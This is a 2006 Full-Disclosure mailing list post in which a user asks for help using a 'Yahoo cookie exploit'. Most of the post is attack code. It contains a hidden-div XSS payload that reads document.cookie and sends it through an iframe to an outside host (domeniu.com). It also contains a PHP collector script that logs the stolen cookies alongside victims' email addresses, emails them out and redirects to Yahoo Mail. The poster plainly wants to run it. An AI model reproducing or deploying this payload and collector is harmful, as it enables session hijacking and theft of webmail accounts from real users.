[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] Help me with Yahoo cookie exploit
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Help me with Yahoo cookie exploit
- From: iustin Darloman <iustin3lu@xxxxxxxxx>
- Date: Mon, 17 Apr 2006 10:48:04 -0700 (PDT)
Hello my name is Justin and i want to ask you if there is a program that
exploits cookies on yahoo ...i can't understand what those mean... and i can't
use the vulnerability...please help me
i found this script
<DIV id=b style="VISIBILITY: hidden">
<STYLE onload="window.status=''; var x =
escape(document.cookie).substr(0,1900); b.innerHTML='<iframe
src=http://domeniu.com/as.php?id='+document.title.substring(document.title.indexOf('-')+2)+'&&cookie=\''+x+'\'
frameborder=0 width=10 height=10></iframe>';" type=text/css>
</STYLE>
</DIV>
and this php file
<?php
$file="cookie.log";
if (isset($_REQUEST["cookie"]) && isset($_REQUEST["id"])){
$logcookie = $_REQUEST["cookie"];
$logcookie = rawurldecode($logcookie);
$logemail = $_REQUEST["id"];
$logemail = rawurldecode($logemail);
if (file_exists($file)) {
$handle=fopen($file, "r+");
$filecontence=fread($handle,filesize("$file"));
fclose($handle);
}
$handle=fopen($file, "w");
fwrite($handle, "$logemail - $logcookie\n $filecontence\n ");
//Writing email address and cookie then the rest of the log
fclose($handle);
mail("email", "$logemail", "$logemail\n$logcookie\n$filecontence\n");
}
header("Location: http://mail.yahoo.com");
?>
but i don't know how to use them :(...please help me...
WIth respect, Justin!
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/